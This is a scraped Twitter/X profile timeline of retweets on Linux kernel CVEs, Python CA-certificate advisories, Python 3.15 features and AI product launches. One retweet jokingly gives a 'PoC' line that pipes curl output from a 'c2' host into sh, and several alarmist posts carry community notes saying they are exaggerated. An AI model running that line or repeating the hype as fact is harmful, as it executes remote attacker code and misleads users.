| Engineering | Previously Finance | Previously Physics
Ad Abyssum, Ut Ad Astra Eamus
Joined January 2009
- Tweets25.4K
- Following856
- Followers1.3K
- Likes4.6K
pystar retweeted
🚨 PSA for anyone running a Linux server, node, or relay
CVE-2026-98432 is a critical Linux kernel bug (CVSS 9.8). Someone on the internet can send crafted TCP packets and take over your machine. No login needed.
Ubuntu and Red Hat haven't shipped a fixed kernel yet. Debian, SUSE, Oracle and Amazon have.
What to do today:
1. Check your kernel: uname -r
Fixed versions: 6.1.190+, 6.6.159+, 6.12.113+, 6.18.56+, 7.2.10+ or 7.3+. Below that, you're exposed.
2. If your distro has a fix, update and reboot.
3. If not, block the attack. It needs TCP packets with "IP options," which normal traffic never uses. One nftables rule drops them. Log what gets dropped so you can see if someone's probing you.
4. Turn off MPTCP unless you need it:
sysctl -w net.mptcp.enabled=0
Programs built with Go 1.24+ use MPTCP automatically, and that's how the known exploit gets in.
5. Make it survive a reboot, and check it still works after one.
If you run a Bitcoin node, a Lightning node or a Nostr relay, your machine is on the internet by design. Do this today.
Self-hosting is freedom. Patching is part of the job. 🛡️
pystar retweeted
I keep telling this to every developer I know
if you run npm install on your bare macbook in 2026 you are waiting to be pwned
you need to develop inside a container
one bad vscode extension, one poisoned crate, and every credential on your machine is gone. that's not even paranoia anymore, it's just the baseline
apple/container spins up light linux vms on apple silicon
so I’ve updated my agent skill remote VMs setup and management to support local ones
use /remote-computer, create a local apple container for multi-language development
it sizes the VM to your CPU/RAM/disk, sets up key-only SSH on a host-only IP, no published ports, no home dir mount, and ports your git identity and commit signing. also works with AWS and GCP VMs
pystar retweeted
Today, I'm launching llmdojo.dev:
- The hands-on way to learn AI engineering: LLMs, RAG, agents, evals and inference.
- 50+ interactive labs. Tweak tokenizers, attention, embeddings and KV caches live.
- Train a neural network in your browser and watch it learn.
- Build agentic workflows with tool calls, memory, guardrails and bounded autonomy.
- Ship RAG that works: chunking, hybrid search, reranking, and LLM-as-a-judge evals.
- Production AI: model routing, fallbacks, quantization, caching and cost per request.
- 490+ interview questions, reported from OpenAI, Anthropic, Google, Meta, Amazon, Microsoft, Mistral and 50+ more.
- Every answer is cited from papers and books, or measured on real models.
pystar retweeted
🚨New 0day inbound, curl2shell🚨
Can compromise any Linux host. Potentially 70% of the internet is affected.
Tweet-able PoC:
𝚌𝚞𝚛𝚕 -𝚜 𝚑𝚝𝚝𝚙://𝚌𝟸 | 𝚜𝚑
Can’t be patched
pystar retweeted
🚨 انتهت اللعبة! إنفيديا تقتل الـ PC التقليدي وتعلن رسمياً وفاة 30 سنة من معمارية الحاسوب! 🪦💻
وداعاً لزمن المعالج المنفصل، كروت الشاشة الضخمة، والحرارة العالية.. جنسن هوانغ دمر المعايير القديمة بشريحة واحدة: RTX Spark!
ما الذي جرى للتو؟!
⚡️ معجزة السيليكون: CPU و GPU و RAM على شريحة واحدة بتقنية 3nm ومعمارية ARM!
⚡️ قوة خارقة: 1 Petaflop معالجة ذكاء اصطناعي محلي داخل جهاز بنحافة (14mm) فقط!
⚡️ أداء ألعاب خيالي: +100 FPS على ألعاب AAA بدقة 1440p على البطارية وبدون أي هبوط في الأداء (Zero Throttling)!
الضربة الموجعة لعمالقة السحاب:
تشغيل نماذج AI ضخمة (120B Parameter) محلياً على جهازك 100%!
🚫 لا سيرفرات
🚫 لا اشتراكات شهريّة
🚫 ولا حاجة حتى للإنترنت!
وكيلك الذكي (AI Agent) بات يعيش داخل لابتوبك وتحت سيطرتك المطلقة. لقد دخلنا رسمياً عصر "محطات الذكاء الاصطناعي الشخصية"! 🚀
🔄احفظ التغريدة و انشرها لتوقظ أصحاب الكمبيوترات التقليدية قبل فوات الأوان! 🧵👇
Readers added context they thought people might want to know
RTX Spark منصة NVIDIA جديدة للابتوبات النحيفة والديسكتوبات المدمجة بنظام ويندوز (SoC متكامل CPU+GPU+ذاكرة موحدة)، لكنها لا تقتل الحواسيب التقليدية ولا تعلن وفاة معماريتها؛ NVIDIA أوضحت أنها فئة جديدة لا تستبدل أجهزة x86 ذات المكونات المنفصلة.
nvidianews.nvidia.com/news/nvidia-rt…
pcguide.com/news/nvidia-sa…
nvidia.com/en-us/products…
pystar retweeted
You've never seen 🐍Python like this, trust me :)
I've built an interactive 3D explorer of Python's parser & compiler pipeline. If you ever wanted to look under the hood and understand how Python actually works this is your chance.
Thread🧵
pystar retweeted
🚨 BREAKING: LINUX IS NOW FACING TWO CRITICAL SECURITY VULNERABILITIES, AND THERE ARE NO OFFICIAL KERNEL FIXES YET.
Both rated 9.0/10 in severity.
One could allow hackers to take control of vulnerable servers WITHOUT EVEN LOGGING IN.
And the most alarming part? The flaws were made PUBLIC before patches were ready.
Here's what's happening:
→ TWO CRITICAL RCE FLAWS: Both affect KSMBD, Linux's built-in SMB file server.
→ NO PASSWORD REQUIRED: One vulnerability could allow unauthenticated attackers to execute malicious code on vulnerable servers.
→ KERNEL-LEVEL ACCESS: Successful exploitation could potentially give attackers control within the Linux kernel itself.
→ NO MAINLINE PATCH YET: Both vulnerabilities were publicly disclosed before official kernel fixes were available.
→ DISCOVERED BY AI: Trend Micro's AI-powered security scanner identified the flaws.
→ SERVERS AT RISK: Linux systems running the vulnerable KSMBD service need immediate attention, especially if port 445 is exposed.
First PHP. Then Node.js. Then GitLab. Then Python.
NOW LINUX.
And this time, the vulnerabilities are PUBLIC before the fixes are ready.
If you manage Linux servers, CHECK YOUR EXPOSURE NOW.
🚨 BREAKING: IT JUST KEEPS GETTING WORSE. NOW PYTHON IS FACING A MASSIVE SECURITY EMERGENCY.
Python's security team has issued an URGENT warning after a certificate authority compromise put Python's HTTPS security at risk.
→ 8 CERTIFICATE AUTHORITY KEYS COMPROMISED. Some were so weak they could be cracked almost INSTANTLY.
→ FAKE TRUSTED WEBSITES: Attackers could potentially impersonate Python.org, PyPI and other websites during intercepted connections.
→ MALICIOUS DOWNLOADS: Vulnerable environments could be tricked into downloading software from attacker-controlled servers.
→ YOUR OS PATCH MAY NOT PROTECT YOU: Older versions of pip can STILL trust compromised certificates even after system updates.
→ EMERGENCY UPDATES: Python developers are being told to immediately update pip, certifi, uv and other affected tools.
→ DOCKER USERS AT RISK: Existing container images may retain vulnerable certificate stores and need rebuilding.
First PHP. Then Node.js. Then GitLab. Then LiteLLM.
NOW PYTHON.
The very systems developers rely on to establish TRUST online are becoming the attack surface.
If you use Python, PATCH NOW.
Readers added context they thought people might want to know
The Python certifi/pip details match the real eMudhra CA incident, but PHP, GitLab and LiteLLM involved unrelated software bugs, platform flaws and supply chain malware—not CA key compromises like this (Node.js patched concurrently for the same CA issue).
discuss.python.org/t/information-…
emudhra.we-have-a-problem.com
github.com/advisories/GHS…
docs.litellm.ai/blog/security-…
snyk.io/blog/php-patch…
Readers added context they thought people might want to know
KSMBD is a rarely used optional in-kernel SMB server distinct from the common Samba implementation; it is not enabled or shipped by default on major distributions like RHEL, and the flaws affect only systems explicitly running it with port 445 exposed.
thehackernews.com/2026/10/two-cv…
threatlandscape.io/blog/ksmbd-zdi…
pystar retweeted
In response to the eMudhra / emSign certificate security incident we've published guidance for Python users to update CA certificates: discuss.python.org/t/informa…
#security #Python #pki
discuss.python.org/t/informa…
pystar retweeted
webmcpisnotmcp.com good one! 😁
Courtesy of @nartmadi !
pystar retweeted
Python 3.15 adds lazy imports with the new lazy keyword! 🐍
Instead of loading a module when your script starts, Python waits until you actually use it.
Here's a quick example:
lazy import json
lazy from pathlib import Path
Good use cases:
- CLI tools where most commands only need a few modules
- Big libraries like pandas or numpy that you only use in one code path
- Apps where startup time matters
The result is faster startup times with almost no code changes.
Will you use it? 🚀
pystar retweeted
Ever wondered what actually happens on the stack and the heap? 🤔
In Python, you can get pretty far without thinking much about it.
In Rust, you can't. Ownership, borrowing, and lifetimes force you to understand where your data lives and who can access it.
The interesting part? That knowledge will make you a better #Python programmer. 💡
We wrote about this in the latest Scripter to Rust newsletter.
Subscribe to follow along as we explore #Rust from a Pythonista's perspective 👇
scripter-to-rust.kit.com/pos…
pystar retweeted
After months of work, I released version 2.5.1 of @turbogearsorg turbogears.org #python #web
New version has significant additions for agentic engineering: tools, skills etc for agents developing TurboGears app
And a new quickstart-api template for openapi servers
pystar retweeted
Python 3.15 is officially out! 🐍🚀 Here are some of the new features I'm most excited to try:
1. Lazy imports with the new lazy keyword for faster startup times
2. frozendict is now a built-in type
3. A new sentinel built-in type
4. Unpacking in comprehensions
5. UTF-8 is now the default encoding
6. Tachyon, a new sampling profiler in the profiling package
7. A faster experimental JIT compiler
8. Better error messages and more color in the CLI
Which one will you use first?
pystar retweeted
playing with jev has taught me that if you make a hammer cheap enough, everything will start looking like a nail
pystar retweeted
We need to talk about Jev
After co-inventing ChatGPT, I kept asking myself: why have superhuman chat models not led to AGI?
I’ve spent the last 2 years in stealth building a new way to train models (RLCD), and a new type of frontier AI model that we are releasing today: Jev
• 20-200x faster
• 40-400x cheaper (w/ output tokens free)
• Frontier composable intelligence optimized for decisions
AFAICT the shortest path to AI-based economic revolution
